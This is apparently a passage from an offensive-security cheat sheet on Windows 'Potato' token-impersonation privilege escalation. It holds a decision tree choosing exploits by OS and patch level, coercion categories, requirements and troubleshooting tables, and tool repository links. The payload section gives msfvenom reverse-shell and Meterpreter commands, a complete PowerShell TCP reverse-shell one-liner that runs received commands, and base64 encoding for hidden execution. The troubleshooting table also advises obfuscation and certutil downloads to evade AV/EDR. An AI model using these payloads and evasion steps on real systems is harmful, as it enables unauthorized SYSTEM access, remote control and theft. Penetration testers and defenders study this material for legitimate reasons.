    │   Check patch: wmic qfe list | findstr 5022282
    │       ├── KB5022282 MISSING → LocalPotato (no priv needed, CVE-2023-21746)
    │       └── Patched → Other privesc vectors (AlwaysInstallElevated, service perms, etc.)
    │
    └── SeImpersonatePrivilege PRESENT
            ↓
        systeminfo → OS Version?
            │
            ├── Win7 / Server 2008 / 2012
            │       → JuicyPotato (find CLSID for OS)
            │       → RottenPotato (legacy fallback)
            │
            ├── Win10 < 1809 / Server 2016
            │       → JuicyPotato (DCOM not yet hardened)
            │       → PrintSpoofer (sc query spooler → RUNNING?)
            │       → EfsPotato / PetitPotato
            │
            ├── Win10 ≥ 1809 / Server 2019
            │       → GodPotato (first choice, no setup)
            │       → PrintSpoofer (if Spooler running)
            │       → EfsPotato / PetitPotato (Spooler disabled?)
            │       → RoguePotato (if network to attacker available)
            │
            ├── Server 2022 / Windows 11
            │       → GodPotato (first choice)
            │       → PrintSpoofer (if Spooler running)
            │       → SigmaPotato (if GodPotato fails)
            │       → PrintNotifyPotato (Spooler disabled but PrintNotify up)
            │       → RasManPotato (EFS + Spooler both disabled)
            │
            ├── Domain-joined + ADCS HTTP accessible
            │       → ADCSCoercePotato
            │
            ├── Already SYSTEM + other user sessions present
            │       → RemotePotato0 (steal domain user NTLM hash)
            │
            ├── Desktop Win10/Win11 (workstation target)
            │       → AppxPotato (AppXSvc always present on desktops)
            │
            └── Unknown / Multiple methods blocked
                    → MultiPotato (tries all coercion methods)
                    → SweetPotato (DCOM + EFS + Spooler)

Coercion Method Categories

DCOM Activation (Legacy / Partially Patched)

RottenPotato, JuicyPotato, CandyPotato, BravePotato

Trigger COM object activation via CLSID or IRemUnknown2
    → SYSTEM authenticates to activate/negotiate the object
    → Token / NTLM captured → SYSTEM exec

Named Pipe / Service Coercion (Reliable Modern)

PrintSpoofer, PrintNotifyPotato, EfsPotato, PetitPotato, RasManPotato, DeadPotato, AppxPotato

Create fake named pipe
    → Trigger SYSTEM service to connect via legitimate API call
    → ImpersonateNamedPipeClient() → SYSTEM token

NTLM Reflection via RPC / OXID (Modern)

RoguePotato, GodPotato, SigmaPotato

Trigger SYSTEM NTLM auth via RPC/OXID interface
    → Reflect/relay auth to local privileged endpoint
    → SYSTEM token obtained

Cross-Session Token Theft (Lateral Movement)

RemotePotato0

Abuse DCOM in another user's session
    → Steal NTLMv2 hash of logged-in privileged user
    → Crack or relay for domain escalation

CVE-Based (No Privilege Required)

LocalPotato (CVE-2023-21746)

Standard user triggers NTLM reflection via Storage Broker COM
    → No SeImpersonate needed
    → SYSTEM exec from regular user account (unpatched systems only)

Payload Generation Reference

# x64 reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe

# x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe

# Staged Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o meter.exe

PowerShell one-liner (no binary — use with -cmd/-c/-a flags):

$c=New-Object Net.Sockets.TCPClient('<IP>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length)}

Encode for -cmd flags:

# Encode the PowerShell one-liner to base64 (UTF-16LE for Windows)
echo -n '<PS_ONE_LINER>' | iconv -t UTF-16LE | base64 -w 0
# Use as: powershell -enc <BASE64_OUTPUT>

Full Requirements Summary

Requirement Needed For
SeImpersonatePrivilege ALL Potatos except LocalPotato
None — standard user LocalPotato (CVE-2023-21746, unpatched only)
DCOM enabled JuicyPotato, RottenPotato, CandyPotato, BravePotato
Valid CLSID JuicyPotato, CandyPotato (optional)
Print Spooler running PrintSpoofer
Print Notify interface PrintNotifyPotato
EFS/lsass accessible EfsPotato, PetitPotato
NTLM + RPC available GodPotato, RoguePotato, SigmaPotato
Network: target → attacker TCP 135 RoguePotato, RemotePotato0
AppXSvc running (desktop editions) AppxPotato
RasMan running RasManPotato
Task Scheduler running DeadPotato
Domain + ADCS HTTP accessible ADCSCoercePotato
Another user session present RemotePotato0
System unpatched (pre-Jan 2023) LocalPotato

Troubleshooting

Symptom Likely Cause Fix
Access is denied on execution AV/EDR blocking binary Rename binary, obfuscate, use certutil download
JuicyPotato exits silently Wrong CLSID for OS Try other CLSIDs from the repo list
PrintSpoofer: CreateNamedPipe failed Spooler not running Try PrintNotifyPotato or GodPotato
GodPotato: CoCreateInstance failed NTLM disabled or RPC blocked Try PrintSpoofer / SigmaPotato
RoguePotato hangs TCP 135 blocked by firewall Use local-only method (GodPotato, EfsPotato)
EfsPotato / PetitPotato silent fail EFS RPC path blocked via GPO Try RasManPotato or DeadPotato
LocalPotato fails Patched (KB5022282+) Requires SeImpersonate — switch to service account context
No SeImpersonatePrivilege at all Standard user / not a service account Try LocalPotato if unpatched; otherwise different privesc path
All methods fail (hardened target) Multiple services disabled Try MultiPotato (enumerates all available paths)
RemotePotato0 no hash captured No other sessions open Verify via query session; wait or pivot differently
AppxPotato fails Server edition (no Store/AppX) AppXSvc disabled on Servers — try other method

TL;DR

RottenPotato       → Win7/2008 — DCOM + NTLM relay (historical)
JuicyPotato        → Win7–Win10 ≤1803 — DCOM with CLSID
RoguePotato        → Win10 1809+ with network — OXID coercion
PrintSpoofer       → Win10/2016/2019 — Print Spooler, very reliable
SweetPotato        → Auto-try: DCOM + EFS + Spooler wrapper
GodPotato          → Win10 1809+ / 2019 / 2022 / Win11 — NTLM reflection, no setup
EfsPotato          → Win10+ — EFS RPC coercion (Spooler alternative)
PetitPotato        → Win10+ — EFS local coercion (PetitPotam adapted)
PrintNotifyPotato  → Win10+ — when Spooler disabled
AppxPotato         → Win10/Win11 desktop — AppX service coercion
ADCSCoercePotato   → Domain + ADCS environment
RasManPotato       → Win10+ — RasMan RPC fallback
RemotePotato0      → Post-SYSTEM — steal logged-in user NTLM hash
LocalPotato        → No SeImpersonate — CVE-2023-21746 (unpatched only)
CandyPotato        → DCOM + named pipe hybrid
BravePotato        → IRemUnknown2 coercion
DeadPotato         → Task Scheduler / deprecated COM
MultiPotato        → Framework — tries all coercion methods
SigmaPotato        → Server 2022 / Win11 specific
GenericPotato      → SDK for building custom Potatos

Final Insight

Correct exploit = f(OS version, patch level, running services, privileges, domain context)

The Potato family is not a single technique — it is a category of Windows token impersonation attacks, each targeting a different SYSTEM-level service or interface for coercion. When one fails, another will often succeed. Always enumerate services and privilege state before selecting your tool.


References

Tool Repository
RottenPotato https://github.com/foxglovesec/RottenPotato
JuicyPotato https://github.com/ohpe/juicy-potato
JuicyPotato CLSIDs https://github.com/ohpe/juicy-potato/tree/master/CLSID
RoguePotato https://github.com/antonioCoco/RoguePotato
RemotePotato0 https://github.com/antonioCoco/RemotePotato0
PrintSpoofer https://github.com/itm4n/PrintSpoofer
SweetPotato https://github.com/CCob/SweetPotato
GodPotato https://github.com/BeichenDream/GodPotato
EfsPotato https://github.com/zcgonvh/EfsPotato
LocalPotato https://github.com/decoder-it/LocalPotato
MultiPotato https://github.com/S3cur3Th1sSh1t/MultiPotato
GenericPotato https://github.com/micahvandeusen/GenericPotato
ADCSCoercePotato https://github.com/decoder-it/adcscoercepotato
PetitPotam (original) https://github.com/topotam/PetitPotam

← Windows top ↑